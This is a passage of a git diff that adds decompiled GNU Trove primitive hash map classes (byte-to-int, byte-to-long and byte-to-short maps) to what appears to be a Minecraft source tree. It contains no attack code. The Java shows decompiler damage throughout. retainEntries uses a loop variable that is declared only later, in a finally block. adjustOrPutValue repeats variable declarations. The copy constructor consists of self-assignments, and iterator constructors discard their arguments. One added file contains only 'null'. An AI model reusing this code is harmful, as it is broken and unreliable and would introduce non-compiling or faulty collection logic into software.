+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TByteIntKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TByteIterator
+  {
+    TByteIntKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public byte next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TByteIntValueHashIterator
+    extends THashPrimitiveIterator
+    implements TIntIterator
+  {
+    TByteIntValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public int next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TByteIntHashIterator
+    extends THashPrimitiveIterator
+    implements TByteIntIterator
+  {
+    TByteIntHashIterator(TByteIntHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public byte key()
+    {
+      return _set[_index];
+    }
+    
+    public int value()
+    {
+      return _values[_index];
+    }
+    
+    public int setValue(int val)
+    {
+      int old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TByteIntMap)) {
+      return false;
+    }
+    TByteIntMap that = (TByteIntMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    int[] values = _values;
+    byte[] states = _states;
+    int this_no_entry_value = getNoEntryValue();
+    int that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        byte key = _set[i];
+        int that_value = that.get(key);
+        int this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TByteIntProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(byte key, int value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeByte(_set[i]);
+        out.writeInt(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      byte key = in.readByte();
+      int val = in.readInt();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TByteLongHashMap.java b/src/minecraft/gnu/trove/map/hash/TByteLongHashMap.java
new file mode 100644
index 0000000..e9e271b
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TByteLongHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TByteLongHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.iterator.TByteLongIterator;
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.map.TByteLongMap;
+import gnu.trove.procedure.TByteLongProcedure;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TByteSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteLongHashMap
+  extends TByteLongHash
+  implements TByteLongMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient long[] _values;
+  
+  public TByteLongHashMap() {}
+  
+  public TByteLongHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TByteLongHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TByteLongHashMap(int initialCapacity, float loadFactor, byte noEntryKey, long noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TByteLongHashMap(byte[] keys, long[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TByteLongHashMap(TByteLongMap map)
+  {
+    super(map.size());
+    if ((map instanceof TByteLongHashMap)) {
+      TByteLongHashMap hashmap = (TByteLongHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0L) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new long[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    byte[] oldKeys = _set;
+    long[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new byte[newCapacity];
+    _values = new long[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        byte o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public long put(byte key, long value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public long putIfAbsent(byte key, long value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private long doPut(byte key, long value, int index)
+  {
+    long previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Byte, ? extends Long> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Byte, ? extends Long> entry : map.entrySet()) {
+      put(((Byte)entry.getKey()).byteValue(), ((Long)entry.getValue()).longValue());
+    }
+  }
+  
+
+  public void putAll(TByteLongMap map)
+  {
+    ensureCapacity(map.size());
+    TByteLongIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public long get(byte key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public long remove(byte key)
+  {
+    long prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TByteSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public byte[] keys()
+  {
+    byte[] keys = new byte[size()];
+    byte[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public byte[] keys(byte[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new byte[size];
+    }
+    
+    byte[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TLongCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public long[] values()
+  {
+    long[] vals = new long[size()];
+    long[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public long[] values(long[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new long[size];
+    }
+    
+    long[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(long val)
+  {
+    byte[] states = _states;
+    long[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(byte key)
+  {
+    return contains(key);
+  }
+  
+
+  public TByteLongIterator iterator()
+  {
+    return new TByteLongHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TByteProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TLongProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TByteLongProcedure procedure)
+  {
+    byte[] states = _states;
+    byte[] keys = _set;
+    long[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TLongFunction function)
+  {
+    byte[] states = _states;
+    long[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TByteLongProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    byte[] keys = _set;
+    long[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(byte key)
+  {
+    return adjustValue(key, 1L);
+  }
+  
+
+  public boolean adjustValue(byte key, long amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public long adjustOrPutValue(byte key, long adjust_amount, long put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    long newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      long newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TByteSet
+  {
+    protected TKeyView() {}
+    
+    public TByteIterator iterator()
+    {
+      return new TByteLongHashMap.TByteLongKeyHashIterator(TByteLongHashMap.this, TByteLongHashMap.this);
+    }
+    
+
+    public byte getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(byte entry)
+    {
+      return TByteLongHashMap.this.contains(entry);
+    }
+    
+
+    public byte[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public byte[] toArray(byte[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(byte entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(byte entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte ele = ((Byte)element).byteValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TByteCollection collection)
+    {
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(byte[] array)
+    {
+      for (byte element : array) {
+        if (!TByteLongHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Byte> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TByteCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(byte[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Byte.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TByteIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(byte[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      byte[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Byte)) {
+          byte c = ((Byte)element).byteValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TByteCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TByteIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        byte element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(byte[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TByteLongHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TByteProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TByteSet)) {
+        return false;
+      }
+      TByteSet that = (TByteSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TByteProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(byte key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TLongCollection
+  {
+    protected TValueView() {}
+    
+    public TLongIterator iterator()
+    {
+      return new TByteLongHashMap.TByteLongValueHashIterator(TByteLongHashMap.this, TByteLongHashMap.this);
+    }
+    
+
+    public long getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(long entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public long[] toArray()
+    {
+      return values();
+    }
+    
+
+    public long[] toArray(long[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(long entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(long entry)
+    {
+      long[] values = _values;
+      byte[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long ele = ((Long)element).longValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TLongCollection collection)
+    {
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(long[] array)
+    {
+      for (long element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Long> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TLongCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(long[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Long.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TLongIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(long[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      long[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Long)) {
+          long c = ((Long)element).longValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TLongCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TLongIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        long element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(long[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TByteLongHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TLongProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TLongProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(long value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TByteLongKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TByteIterator
+  {
+    TByteLongKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public byte next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TByteLongValueHashIterator
+    extends THashPrimitiveIterator
+    implements TLongIterator
+  {
+    TByteLongValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public long next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TByteLongHashIterator
+    extends THashPrimitiveIterator
+    implements TByteLongIterator
+  {
+    TByteLongHashIterator(TByteLongHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public byte key()
+    {
+      return _set[_index];
+    }
+    
+    public long value()
+    {
+      return _values[_index];
+    }
+    
+    public long setValue(long val)
+    {
+      long old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TByteLongMap)) {
+      return false;
+    }
+    TByteLongMap that = (TByteLongMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    long[] values = _values;
+    byte[] states = _states;
+    long this_no_entry_value = getNoEntryValue();
+    long that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        byte key = _set[i];
+        long that_value = that.get(key);
+        long this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TByteLongProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(byte key, long value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeByte(_set[i]);
+        out.writeLong(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      byte key = in.readByte();
+      long val = in.readLong();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TByteObjectHashMap.java b/src/minecraft/gnu/trove/map/hash/TByteObjectHashMap.java
new file mode 100644
index 0000000..ec747fa
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TByteObjectHashMap.java
@@ -0,0 +1 @@
+null
\ No newline at end of file
diff --git a/src/minecraft/gnu/trove/map/hash/TByteShortHashMap.java b/src/minecraft/gnu/trove/map/hash/TByteShortHashMap.java
new file mode 100644
index 0000000..e3e6aa9
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TByteShortHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TByteCollection;
+import gnu.trove.TShortCollection;
+import gnu.trove.function.TShortFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TByteShortHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.iterator.TByteShortIterator;
+import gnu.trove.iterator.TShortIterator;
+import gnu.trove.map.TByteShortMap;
+import gnu.trove.procedure.TByteProcedure;
+import gnu.trove.procedure.TByteShortProcedure;
+import gnu.trove.procedure.TShortProcedure;
+import gnu.trove.set.TByteSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteShortHashMap
+  extends TByteShortHash
+  implements TByteShortMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient short[] _values;
+  
+  public TByteShortHashMap() {}
+  
+  public TByteShortHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TByteShortHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TByteShortHashMap(int initialCapacity, float loadFactor, byte noEntryKey, short noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TByteShortHashMap(byte[] keys, short[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TByteShortHashMap(TByteShortMap map)
+  {
+    super(map.size());
+    if ((map instanceof TByteShortHashMap)) {
+      TByteShortHashMap hashmap = (TByteShortHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new short[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    byte[] oldKeys = _set;
+    short[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new byte[newCapacity];
+    _values = new short[newCapacity];
